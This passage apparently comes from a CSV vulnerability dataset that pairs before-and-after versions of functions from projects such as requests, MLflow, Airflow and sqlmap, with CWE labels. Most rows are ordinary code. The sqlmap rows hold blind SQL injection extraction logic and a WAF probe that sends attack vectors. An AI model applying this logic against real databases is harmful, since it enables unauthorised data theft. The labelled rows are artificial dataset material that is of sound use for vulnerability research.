            len(self.selenium.find_elements_by_css_selector(stacked_inline_formset_selector)), 1
        )
        self.assertEqual(
            len(self.selenium.find_elements_by_css_selector(tabular_inline_formset_selector)), 1
        )"
functions_for_requests_with_cwe.csv,UNKNOWN,UNKNOWN,requests/utils.py,0,"def should_bypass_proxies(url, no_proxy):
    """"""
    Returns whether we should bypass proxies or not.

    :rtype: bool
    """"""
    # Prioritize lowercase environment variables over uppercase
    # to keep a consistent behaviour with other http projects (curl, wget).
    get_proxy = lambda k: os.environ.get(k) or os.environ.get(k.upper())

    # First check whether no_proxy is defined. If it is, check that the URL
    # we're getting isn't in the no_proxy list.
    no_proxy_arg = no_proxy
    if no_proxy is None:
        no_proxy = get_proxy('no_proxy')
    parsed = urlparse(url)

    if parsed.hostname is None:
        # URLs don't always have hostnames, e.g. file:/// urls.
        return True

    if no_proxy:
        # We need to check whether we match here. We need to see if we match
        # the end of the hostname, both with and without the port.
        no_proxy = (
            host for host in no_proxy.replace(' ', '').split(',') if host
        )

        if is_ipv4_address(parsed.hostname):
            for proxy_ip in no_proxy:
                if is_valid_cidr(proxy_ip):
                    if address_in_network(parsed.hostname, proxy_ip):
                        return True
                elif parsed.hostname == proxy_ip:
                    # If no_proxy ip was defined in plain IP notation instead of cidr notation &
                    # matches the IP of the index
                    return True
        else:
            host_with_port = parsed.hostname
            if parsed.port:
                host_with_port += ':{0}'.format(parsed.port)

            for host in no_proxy:
                if parsed.hostname.endswith(host) or host_with_port.endswith(host):
                    # The URL does match something in no_proxy, so we don't want
                    # to apply the proxies on this URL.
                    return True

    # If the system proxy settings indicate that this URL should be bypassed,
    # don't proxy.
    # The proxy_bypass function is incredibly buggy on OS X in early versions
    # of Python 2.6, so allow this call to fail. Only catch the specific
    # exceptions we've seen, though: this call failing in other ways can reveal
    # legitimate problems.
    with set_environ('no_proxy', no_proxy_arg):
        try:
            bypass = proxy_bypass(parsed.hostname)
        except (TypeError, socket.gaierror):
            bypass = False

    if bypass:
        return True

    return False",,psf/requests,9cfd292da33f3b8324ce2c20e01db0e2f8b9210b,"def should_bypass_proxies(url, no_proxy):
    """"""
    Returns whether we should bypass proxies or not.

    :rtype: bool
    """"""
    # Prioritize lowercase environment variables over uppercase
    # to keep a consistent behaviour with other http projects (curl, wget).
    get_proxy = lambda k: os.environ.get(k) or os.environ.get(k.upper())

    # First check whether no_proxy is defined. If it is, check that the URL
    # we're getting isn't in the no_proxy list.
    no_proxy_arg = no_proxy
    if no_proxy is None:
        no_proxy = get_proxy('no_proxy')
    parsed = urlparse(url)

    if no_proxy:
        # We need to check whether we match here. We need to see if we match
        # the end of the hostname, both with and without the port.
        no_proxy = (
            host for host in no_proxy.replace(' ', '').split(',') if host
        )

        if is_ipv4_address(parsed.hostname):
            for proxy_ip in no_proxy:
                if is_valid_cidr(proxy_ip):
                    if address_in_network(parsed.hostname, proxy_ip):
                        return True
                elif parsed.hostname == proxy_ip:
                    # If no_proxy ip was defined in plain IP notation instead of cidr notation &
                    # matches the IP of the index
                    return True
        else:
            host_with_port = parsed.hostname
            if parsed.port:
                host_with_port += ':{0}'.format(parsed.port)

            for host in no_proxy:
                if parsed.hostname.endswith(host) or host_with_port.endswith(host):
                    # The URL does match something in no_proxy, so we don't want
                    # to apply the proxies on this URL.
                    return True

    # If the system proxy settings indicate that this URL should be bypassed,
    # don't proxy.
    # The proxy_bypass function is incredibly buggy on OS X in early versions
    # of Python 2.6, so allow this call to fail. Only catch the specific
    # exceptions we've seen, though: this call failing in other ways can reveal
    # legitimate problems.
    with set_environ('no_proxy', no_proxy_arg):
        try:
            bypass = proxy_bypass(parsed.hostname)
        except (TypeError, socket.gaierror):
            bypass = False

    if bypass:
        return True

    return False"
,UNKNOWN,UNKNOWN,tests/kitchen/tests/wordpress/tests/salt/test_salt.py,1,,CWE-703,saltstack/salt,d72c22a2a6c12416e0af476a2b37b038640e8724,"def test_formula(salt):
    '''
    Test that the states are synced to minion
    '''
    dirs = salt('cp.list_master_dirs')
    assert 'states' in dirs"
functions_for_jupyter_with_cwe.csv,UNKNOWN,UNKNOWN,notebook/services/contents/fileio.py,0,"def perm_to_403(self, os_path=''):
        """"""context manager for turning permission errors into 403.""""""
        try:
            yield
        except (OSError, IOError) as e:
            if e.errno in {errno.EPERM, errno.EACCES}:
                # make 403 error message without root prefix
                # this may not work perfectly on unicode paths on Python 2,
                # but nobody should be doing that anyway.
                if not os_path:
                    os_path = str_to_unicode(e.filename or 'unknown file')
                path = to_api_path(os_path, root=self.root_dir)
                raise HTTPError(403, u'Permission denied: %s' % path) from e
            else:
                raise",,jupyter/notebook,94af525a2c0aaa99311647c6cccf9add07a63033,"def perm_to_403(self, os_path=''):
        """"""context manager for turning permission errors into 403.""""""
        try:
            yield
        except (OSError, IOError) as e:
            if e.errno in {errno.EPERM, errno.EACCES}:
                # make 403 error message without root prefix
                # this may not work perfectly on unicode paths on Python 2,
                # but nobody should be doing that anyway.
                if not os_path:
                    os_path = str_to_unicode(e.filename or 'unknown file')
                path = to_api_path(os_path, root=self.root_dir)
                raise HTTPError(403, u'Permission denied: %s' % path)
            else:
                raise"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/keras.py,0,"def get_default_conda_env():
    """"""
    :return: The default Conda environment for MLflow Models produced by calls to
             :func:`save_model()` and :func:`log_model()`.
    """"""
    import keras
    import tensorflow as tf

    return _mlflow_conda_env(
        additional_conda_deps=[
            ""keras={}"".format(keras.__version__),
            # The Keras pyfunc representation requires the TensorFlow
            # backend for Keras. Therefore, the conda environment must
            # include TensorFlow
            ""tensorflow=={}"".format(tf.__version__),
        ],
        additional_pip_deps=None,
        additional_conda_channels=None)",,mlflow/mlflow,4866f5a8f6d56bfe57b63db3588d62dc20e23a89,"def get_default_conda_env():
    """"""
    :return: The default Conda environment for MLflow Models produced by calls to
    :func:`save_model()` and :func:`log_model()`.
    """"""
    import keras
    import tensorflow as tf

    return _mlflow_conda_env(
        additional_conda_deps=[
            ""keras={}"".format(keras.__version__),
            # The Keras pyfunc representation requires the TensorFlow
            # backend for Keras. Therefore, the conda environment must
            # include TensorFlow
            ""tensorflow=={}"".format(tf.__version__),
        ],
        additional_pip_deps=None,
        additional_conda_channels=None)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,mlflow/tensorflow.py,0,"def get_default_pip_requirements():
    """"""
    :return: A list of default pip requirements for MLflow Models produced by this flavor.
             Calls to :func:`save_model()` and :func:`log_model()` produce a pip environment
             that, at minimum, contains these requirements.
    """"""
    import tensorflow as tf

    pip_deps = [_get_pinned_requirement(""tensorflow"")]

    # tensorflow >= 2.6.0 requires keras:
    # https://github.com/tensorflow/tensorflow/blob/v2.6.0/tensorflow/tools/pip_package/setup.py#L106
    # To prevent a different version of keras from being installed by tensorflow when creating
    # a serving environment, add a pinned requirement for keras
    if Version(tf.__version__) >= Version(""2.6.0""):
        pip_deps.append(_get_pinned_requirement(""keras""))

    return pip_deps",,mlflow/mlflow,548278e10fa956abb950082e0d2d24730a98af16,"def get_default_pip_requirements():
    """"""
    :return: A list of default pip requirements for MLflow Models produced by this flavor.
             Calls to :func:`save_model()` and :func:`log_model()` produce a pip environment
             that, at minimum, contains these requirements.
    """"""
    return [_get_pinned_requirement(""tensorflow"")]"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/runner/poller.py,0,"def __init__(self, results, runner):
        self.runner = runner

        self.results = { 'contacted': {}, 'dark': {}}
        self.hosts_to_poll = []
        self.completed = False

        # flag to determine if at least one host was contacted
        self.active = False
        # True to work with & below
        skipped = True
        jid = None
        for (host, res) in results['contacted'].iteritems():
            if res.get('started', False):
                self.hosts_to_poll.append(host)
                jid = res.get('ansible_job_id', None)
                self.runner.vars_cache[host]['ansible_job_id'] = jid
                self.active = True
            else:
                skipped = skipped & res.get('skipped', False)
                self.results['contacted'][host] = res
        for (host, res) in results['dark'].iteritems():
            self.runner.vars_cache[host]['ansible_job_id'] = ''
            self.results['dark'][host] = res

        if not skipped:
            if jid is None:
                raise errors.AnsibleError(""unexpected error: unable to determine jid"")
            if len(self.hosts_to_poll)==0:
                raise errors.AnsibleError(""unexpected error: no hosts to poll"")",,ansible/ansible,d4cedfc7f1281dd743370c6fd8c51f49f3ccd658,"def __init__(self, results, runner):
        self.runner = runner

        self.results = { 'contacted': {}, 'dark': {}}
        self.hosts_to_poll = []
        self.completed = False

        # flag to determine if at least one host was contacted
        self.active = False
        # True to work with & below
        skipped = True
        for (host, res) in results['contacted'].iteritems():
            if res.get('started', False):
                self.hosts_to_poll.append(host)
                jid = res.get('ansible_job_id', None)
                self.runner.vars_cache[host]['ansible_job_id'] = jid
                self.active = True
            else:
                skipped = skipped & res.get('skipped', False)
                self.results['contacted'][host] = res
        for (host, res) in results['dark'].iteritems():
            self.runner.vars_cache[host]['ansible_job_id'] = ''
            self.results['dark'][host] = res

        if not skipped:
            if jid is None:
                raise errors.AnsibleError(""unexpected error: unable to determine jid"")
            if len(self.hosts_to_poll)==0:
                raise errors.AnsibleError(""unexpected error: no hosts to poll"")"
,UNKNOWN,UNKNOWN,tests/providers/cncf/kubernetes/operators/test_pod.py,1,"def test_default_container_logs():
    class TestSubclassKPO(KubernetesPodOperator):
        BASE_CONTAINER_NAME = ""test-base-container""

    k = TestSubclassKPO(task_id=""task"")
    assert k.container_logs == ""test-base-container""",CWE-703,apache/airflow,bd512007e531bb58e86f8c1b8f84ac20e8e92d7c,"def test_default_container_logs():
    class TestSubclassKPO(KubernetesPodOperator):
        BASE_CONTAINER_NAME = ""test-base-container""

    k = TestSubclassKPO(task_id=""task"")
    assert k.container_logs == ""test-base-container"""
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/mac/adiummsgs.py,0,"def unified_output(self, data):
        return TreeGrid([(""Pid"", int),
                         (""Name"", str),
                         (""Start"", Address),
                         (""Size"", int),
                         (""Path"", str),
                         ], 
                         self.generator(data))",,volatilityfoundation/volatility,09bb6a5de6d62b2cf333232f55b3683319bd645f,"def unified_output(self, data):
        return TreeGrid([(""Pid"", int),
                         (""Name"", str),
                         (""Start"", Address),
                         (""Size"", str),
                         (""Path"", str),
                         ], 
                         self.generator(data))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,waf/siteground.py,0,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval |= ""The page you are trying to access is restricted due to a security rule"" in (page or """")
        if retval:
            break

    return retval",,sqlmapproject/sqlmap,9043d9dd05a3b9470abeacd9510752999a7479ae,"def detect(get_page):
    retval = False

    for vector in WAF_ATTACK_VECTORS:
        page, _, _ = get_page(get=vector)
        retval =  ""The page you are trying to access is restricted due to a security rule"" in (page or """")
        if retval:
            break

    return retval"
,UNKNOWN,UNKNOWN,tests/sklearn/test_sklearn_autolog.py,1,"def test_autolog_logs_signature_and_input_example(data_type):
    mlflow.sklearn.autolog(log_input_examples=True, log_model_signatures=True)

    X, y = get_iris()
    X = data_type(X)
    if data_type in [csr_matrix, csc_matrix]:
        y = np.array(y)
    else:
        y = data_type(y)
    model = sklearn.linear_model.LinearRegression()

    with mlflow.start_run() as run:
        model.fit(X, y)
        model_path = os.path.join(run.info.artifact_uri, MODEL_DIR)

    model_conf = get_model_conf(run.info.artifact_uri)
    input_example = _read_example(model_conf, model_path)
    pyfunc_model = mlflow.pyfunc.load_model(model_path)

    assert model_conf.signature == infer_signature(X, model.predict(X[:5]))

    # On GitHub Actions, `pyfunc_model.predict` and `model.predict` sometimes return
    # slightly different results:
    #
    # >>> pyfunc_model.predict(input_example)
    # [[0.171504346208176  ]
    #  [0.34346150441640155]  <- diff
    #  [0.06895096846585114]  <- diff
    #  [0.05925789882165455]
    #  [0.03424907823290102]]
    #
    # >>> model.predict(X[:5])
    # [[0.171504346208176  ]
    #  [0.3434615044164018 ]  <- diff
    #  [0.06895096846585136]  <- diff
    #  [0.05925789882165455]
    #  [0.03424907823290102]]
    #
    # As a workaround, use `assert_array_almost_equal` instead of `assert_array_equal`
    np.testing.assert_array_almost_equal(pyfunc_model.predict(input_example), model.predict(X[:5]))",CWE-703,mlflow/mlflow,8090bc2ea0201fcf81d659aec024c461d16adae4,"def test_autolog_logs_signature_and_input_example(data_type):
    mlflow.sklearn.autolog(log_input_examples=True, log_model_signatures=True)

    X, y = get_iris()
    X = data_type(X)
    if data_type in [csr_matrix, csc_matrix]:
        y = np.array(y)
    else:
        y = data_type(y)
    model = sklearn.linear_model.LinearRegression()

    with mlflow.start_run() as run:
        model.fit(X, y)
        model_path = os.path.join(run.info.artifact_uri, MODEL_DIR)

    model_conf = get_model_conf(run.info.artifact_uri)
    input_example = _read_example(model_conf, model_path)
    pyfunc_model = mlflow.pyfunc.load_model(model_path)

    assert model_conf.signature == infer_signature(X, model.predict(X[:5]))

    # On GitHub Actions, `pyfunc_model.predict` and `model.predict` sometimes return
    # slightly different results:
    #
    # >>> pyfunc_model.predict(input_example)
    # [[0.171504346208176  ]
    #  [0.34346150441640155]  <- diff
    #  [0.06895096846585114]  <- diff
    #  [0.05925789882165455]
    #  [0.03424907823290102]]
    #
    # >>> model.predict(X[:5])
    # [[0.171504346208176  ]
    #  [0.3434615044164018 ]  <- diff
    #  [0.06895096846585136]  <- diff
    #  [0.05925789882165455]
    #  [0.03424907823290102]]
    #
    # As a workaround, use `assert_array_almost_equal` instead of `assert_array_equal`
    np.testing.assert_array_almost_equal(pyfunc_model.predict(input_example), model.predict(X[:5]))"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
    """"""
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """"""

    query          = agent.prefixQuery(queries[kb.misc.testedDbms].inference.query)
    query          = agent.suffixQuery(query)
    payload        = agent.payload(newValue=query)
    count          = None
    startLimit     = 0
    stopLimit      = None
    outputs        = []
    test           = None
    untilLimitChar = None
    untilOrderChar = None

    if resumeValue:
        output = resume(expression, payload)
    else:
        output = None

    if output and ( expected is None or ( expected == ""int"" and output.isdigit() ) ):
        return output

    if not unpack:
        return __goInference(payload, expression, charsetType, firstChar, lastChar)

    if kb.dbmsDetected:
        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)

        rdbRegExp = re.search(""RDB\$GET_CONTEXT\([^)]+\)"", expression, re.I)
        if rdbRegExp and kb.dbms == DBMS.FIREBIRD:
            expressionFieldsList = [expressionFields]

        if len(expressionFieldsList) > 1:
            infoMsg  = ""the SQL query provided has more than a field. ""
            infoMsg += ""sqlmap will now unpack it into distinct queries ""
            infoMsg += ""to be able to retrieve the output even if we ""
            infoMsg += ""are going blind""
            logger.info(infoMsg)

        # If we have been here from SQL query/shell we have to check if
        # the SQL query might return multiple entries and in such case
        # forge the SQL limiting the query output one entry per time
        # NOTE: I assume that only queries that get data from a table
        # can return multiple entries
        if fromUser and "" FROM "" in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)
            topLimit    = re.search(""TOP\s+([\d]+)\s+"", expression, re.I)

            if limitRegExp or ( kb.dbms == DBMS.MSSQL and topLimit ):
                if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.MSSQL:
                    if limitRegExp:
                        limitGroupStart = queries[kb.dbms].limitgroupstart.query
                        limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                        if limitGroupStart.isdigit():
                            startLimit = int(limitRegExp.group(int(limitGroupStart)))

                        stopLimit = limitRegExp.group(int(limitGroupStop))
                        limitCond = int(stopLimit) > 1
                    elif topLimit:
                        startLimit = 0
                        stopLimit  = int(topLimit.group(1))
                        limitCond  = int(stopLimit) > 1

                elif kb.dbms == DBMS.ORACLE:
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a ""LIMIT #, 1""
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the "" LIMIT ""
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
                        expression = expression[:untilLimitChar]

                    elif kb.dbms == DBMS.MSSQL:
                        stopLimit += startLimit

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == DBMS.ORACLE and expression.endswith(""FROM DUAL""):
                        test = ""n""
                    elif batch:
                        test = ""y""
                    else:
                        message  = ""can the SQL query provided return ""
                        message += ""multiple entries? [Y/n] ""
                        test = readInput(message, default=""Y"")

                if not test or test[0] in (""y"", ""Y""):
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count.query % expressionFieldsList[0]
                    countedExpression = expression.replace(expressionFields, countFirstField, 1)

                    if re.search("" ORDER BY "", expression, re.I):
                        untilOrderChar = countedExpression.index("" ORDER BY "")
                        countedExpression = countedExpression[:untilOrderChar]

                    if resumeValue:
                        count = resume(countedExpression, payload)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)

                        if count and count.isdigit() and int(count) > 0:
                            count = int(count)

                            if batch:
                                stopLimit = count
                            else:
                                message  = ""the SQL query provided can return ""
                                message += ""up to %d entries. How many "" % count
                                message += ""entries do you want to retrieve?\n""
                                message += ""[a] All (default)\n[#] Specific number\n""
                                message += ""[q] Quit""
                                test = readInput(message, default=""a"")

                                if not test or test[0] in (""a"", ""A""):
                                    stopLimit = count

                                elif test[0] in (""q"", ""Q""):
                                    return ""Quit""

                                elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                    stopLimit = int(test)

                                    infoMsg  = ""sqlmap is now going to retrieve the ""
                                    infoMsg += ""first %d query output entries"" % stopLimit
                                    logger.info(infoMsg)

                                elif test[0] in (""#"", ""s"", ""S""):
                                    message = ""How many? ""
                                    stopLimit = readInput(message, default=""10"")

                                    if not stopLimit.isdigit():
                                        errMsg = ""Invalid choice""
                                        logger.error(errMsg)

                                        return None

                                    else:
                                        stopLimit = int(stopLimit)

                                else:
                                    errMsg = ""Invalid choice""
                                    logger.error(errMsg)

                                    return None

                        elif count and not count.isdigit():
                            warnMsg  = ""it was not possible to count the number ""
                            warnMsg += ""of entries for the SQL query provided. ""
                            warnMsg += ""sqlmap will assume that it returns only ""
                            warnMsg += ""one entry""
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = ""the SQL query provided does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                            return None

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = ""the SQL query provided does not ""
                        warnMsg += ""return any output""
                        logger.warn(warnMsg)

                        return None

                    for num in xrange(startLimit, stopLimit):
                        output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
                        outputs.append(output)

                    return outputs

        elif kb.dbms == DBMS.ORACLE and expression.startswith(""SELECT "") and "" FROM "" not in expression:
            expression = ""%s FROM DUAL"" % expression

        outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)

        returnValue = "", "".join([output for output in outputs])

    else:
        returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)

    return returnValue",,sqlmapproject/sqlmap,17486e472a3c05cae2ae92d5887a922b7ac7aacf,"def __goInferenceProxy(expression, fromUser=False, expected=None, batch=False, resumeValue=True, unpack=True, charsetType=None, firstChar=None, lastChar=None):
    """"""
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """"""

    query          = agent.prefixQuery(queries[kb.misc.testedDbms].inference.query)
    query          = agent.postfixQuery(query)
    payload        = agent.payload(newValue=query)
    count          = None
    startLimit     = 0
    stopLimit      = None
    outputs        = []
    test           = None
    untilLimitChar = None
    untilOrderChar = None

    if resumeValue:
        output = resume(expression, payload)
    else:
        output = None

    if output and ( expected is None or ( expected == ""int"" and output.isdigit() ) ):
        return output

    if not unpack:
        return __goInference(payload, expression, charsetType, firstChar, lastChar)

    if kb.dbmsDetected:
        _, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(expression)

        rdbRegExp = re.search(""RDB\$GET_CONTEXT\([^)]+\)"", expression, re.I)
        if rdbRegExp and kb.dbms == DBMS.FIREBIRD:
            expressionFieldsList = [expressionFields]

        if len(expressionFieldsList) > 1:
            infoMsg  = ""the SQL query provided has more than a field. ""
            infoMsg += ""sqlmap will now unpack it into distinct queries ""
            infoMsg += ""to be able to retrieve the output even if we ""
            infoMsg += ""are going blind""
            logger.info(infoMsg)

        # If we have been here from SQL query/shell we have to check if
        # the SQL query might return multiple entries and in such case
        # forge the SQL limiting the query output one entry per time
        # NOTE: I assume that only queries that get data from a table
        # can return multiple entries
        if fromUser and "" FROM "" in expression:
            limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)
            topLimit    = re.search(""TOP\s+([\d]+)\s+"", expression, re.I)

            if limitRegExp or ( kb.dbms == DBMS.MSSQL and topLimit ):
                if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
                    limitGroupStart = queries[kb.dbms].limitgroupstart.query
                    limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                    if limitGroupStart.isdigit():
                        startLimit = int(limitRegExp.group(int(limitGroupStart)))

                    stopLimit = limitRegExp.group(int(limitGroupStop))
                    limitCond = int(stopLimit) > 1

                elif kb.dbms == DBMS.MSSQL:
                    if limitRegExp:
                        limitGroupStart = queries[kb.dbms].limitgroupstart.query
                        limitGroupStop  = queries[kb.dbms].limitgroupstop.query

                        if limitGroupStart.isdigit():
                            startLimit = int(limitRegExp.group(int(limitGroupStart)))

                        stopLimit = limitRegExp.group(int(limitGroupStop))
                        limitCond = int(stopLimit) > 1
                    elif topLimit:
                        startLimit = 0
                        stopLimit  = int(topLimit.group(1))
                        limitCond  = int(stopLimit) > 1

                elif kb.dbms == DBMS.ORACLE:
                    limitCond = False
            else:
                limitCond = True

            # I assume that only queries NOT containing a ""LIMIT #, 1""
            # (or similar depending on the back-end DBMS) can return
            # multiple entries
            if limitCond:
                if limitRegExp:
                    stopLimit = int(stopLimit)

                    # From now on we need only the expression until the "" LIMIT ""
                    # (or similar, depending on the back-end DBMS) word
                    if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
                        stopLimit += startLimit
                        untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
                        expression = expression[:untilLimitChar]

                    elif kb.dbms == DBMS.MSSQL:
                        stopLimit += startLimit

                if not stopLimit or stopLimit <= 1:
                    if kb.dbms == DBMS.ORACLE and expression.endswith(""FROM DUAL""):
                        test = ""n""
                    elif batch:
                        test = ""y""
                    else:
                        message  = ""can the SQL query provided return ""
                        message += ""multiple entries? [Y/n] ""
                        test = readInput(message, default=""Y"")

                if not test or test[0] in (""y"", ""Y""):
                    # Count the number of SQL query entries output
                    countFirstField   = queries[kb.dbms].count.query % expressionFieldsList[0]
                    countedExpression = expression.replace(expressionFields, countFirstField, 1)

                    if re.search("" ORDER BY "", expression, re.I):
                        untilOrderChar = countedExpression.index("" ORDER BY "")
                        countedExpression = countedExpression[:untilOrderChar]

                    if resumeValue:
                        count = resume(countedExpression, payload)

                    if not stopLimit:
                        if not count or not count.isdigit():
                            count = __goInference(payload, countedExpression, charsetType, firstChar, lastChar)

                        if count and count.isdigit() and int(count) > 0:
                            count = int(count)

                            if batch:
                                stopLimit = count
                            else:
                                message  = ""the SQL query provided can return ""
                                message += ""up to %d entries. How many "" % count
                                message += ""entries do you want to retrieve?\n""
                                message += ""[a] All (default)\n[#] Specific number\n""
                                message += ""[q] Quit""
                                test = readInput(message, default=""a"")

                                if not test or test[0] in (""a"", ""A""):
                                    stopLimit = count

                                elif test[0] in (""q"", ""Q""):
                                    return ""Quit""

                                elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                    stopLimit = int(test)

                                    infoMsg  = ""sqlmap is now going to retrieve the ""
                                    infoMsg += ""first %d query output entries"" % stopLimit
                                    logger.info(infoMsg)

                                elif test[0] in (""#"", ""s"", ""S""):
                                    message = ""How many? ""
                                    stopLimit = readInput(message, default=""10"")

                                    if not stopLimit.isdigit():
                                        errMsg = ""Invalid choice""
                                        logger.error(errMsg)

                                        return None

                                    else:
                                        stopLimit = int(stopLimit)

                                else:
                                    errMsg = ""Invalid choice""
                                    logger.error(errMsg)

                                    return None

                        elif count and not count.isdigit():
                            warnMsg  = ""it was not possible to count the number ""
                            warnMsg += ""of entries for the SQL query provided. ""
                            warnMsg += ""sqlmap will assume that it returns only ""
                            warnMsg += ""one entry""
                            logger.warn(warnMsg)

                            stopLimit = 1

                        elif ( not count or int(count) == 0 ):
                            warnMsg  = ""the SQL query provided does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                            return None

                    elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
                        warnMsg  = ""the SQL query provided does not ""
                        warnMsg += ""return any output""
                        logger.warn(warnMsg)

                        return None

                    for num in xrange(startLimit, stopLimit):
                        output = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, num, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)
                        outputs.append(output)

                    return outputs

        elif kb.dbms == DBMS.ORACLE and expression.startswith(""SELECT "") and "" FROM "" not in expression:
            expression = ""%s FROM DUAL"" % expression

        outputs = __goInferenceFields(expression, expressionFields, expressionFieldsList, payload, expected, resumeValue=resumeValue, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar)

        returnValue = "", "".join([output for output in outputs])

    else:
        returnValue = __goInference(payload, expression, charsetType, firstChar, lastChar)

    return returnValue"
,UNKNOWN,UNKNOWN,task_sdk/src/airflow/sdk/execution_time/task_runner.py,1,"def run(ti: RuntimeTaskInstance, log: Logger):
    """"""Run the task in this process.""""""
    from airflow.exceptions import (
        AirflowException,
        AirflowFailException,
        AirflowRescheduleException,
        AirflowSensorTimeout,
        AirflowSkipException,
        AirflowTaskTerminated,
        AirflowTaskTimeout,
        TaskDeferred,
    )

    if TYPE_CHECKING:
        assert ti.task is not None
        assert isinstance(ti.task, BaseOperator)
    try:
        # TODO: pre execute etc.
        # TODO next_method to support resuming from deferred
        # TODO: Get a real context object
        ti.task.execute({""task_instance"": ti})  # type: ignore[attr-defined]
    except TaskDeferred as defer:
        classpath, trigger_kwargs = defer.trigger.serialize()
        next_method = defer.method_name
        timeout = defer.timeout
        msg = DeferTask(
            classpath=classpath,
            trigger_kwargs=trigger_kwargs,
            next_method=next_method,
            trigger_timeout=timeout,
        )
        SUPERVISOR_COMMS.send_request(msg=msg, log=log)
    except AirflowSkipException:
        ...
    except AirflowRescheduleException:
        ...
    except (AirflowFailException, AirflowSensorTimeout):
        # If AirflowFailException is raised, task should not retry.
        ...
    except (AirflowTaskTimeout, AirflowException, AirflowTaskTerminated):
        ...
    except SystemExit:
        ...
    except BaseException:
        # TODO: Handle TI handle failure
        raise",CWE-703,apache/airflow,33bf3ede9e7d7495b68dbdeef687ca4c53b1a2e2,"def run(ti: RuntimeTaskInstance, log: Logger):
    """"""Run the task in this process.""""""
    from airflow.exceptions import (
        AirflowException,
        AirflowFailException,
        AirflowRescheduleException,
        AirflowSensorTimeout,
        AirflowSkipException,
        AirflowTaskTerminated,
        AirflowTaskTimeout,
        TaskDeferred,
    )

    if TYPE_CHECKING:
        assert ti.task is not None
        assert isinstance(ti.task, BaseOperator)
    try:
        # TODO: pre execute etc.
        # TODO next_method to support resuming from deferred
        # TODO: Get a real context object
        ti.task.execute({""task_instance"": ti})  # type: ignore[attr-defined]
    except TaskDeferred as defer:
        classpath, trigger_kwargs = defer.trigger.serialize()
        next_method = defer.method_name
        timeout = defer.timeout
        msg = DeferTask(
            state=""deferred"",
            classpath=classpath,
            trigger_kwargs=trigger_kwargs,
            next_method=next_method,
            trigger_timeout=timeout,
        )
        global SUPERVISOR_COMMS
        SUPERVISOR_COMMS.send_request(msg=msg, log=log)
    except AirflowSkipException:
        ...
    except AirflowRescheduleException:
        ...
    except (AirflowFailException, AirflowSensorTimeout):
        # If AirflowFailException is raised, task should not retry.
        ...
    except (AirflowTaskTimeout, AirflowException, AirflowTaskTerminated):
        ...
    except SystemExit:
        ...
    except BaseException:
        # TODO: Handle TI handle failure
        raise"
,UNKNOWN,UNKNOWN,lib/request/connect.py,1,"def getPage(**kwargs):
        """"""
        This method connects to the target URL or proxy and returns
        the target URL page content
        """"""

        if conf.offline:
            return None, None, None

        url = kwargs.get(""url"", None) or conf.url
        get = kwargs.get(""get"", None)
        post = kwargs.get(""post"", None)
        method = kwargs.get(""method"", None)
        cookie = kwargs.get(""cookie"", None)
        ua = kwargs.get(""ua"", None) or conf.agent
        referer = kwargs.get(""referer"", None) or conf.referer
        host = kwargs.get(""host"", None) or conf.host
        direct_ = kwargs.get(""direct"", False)
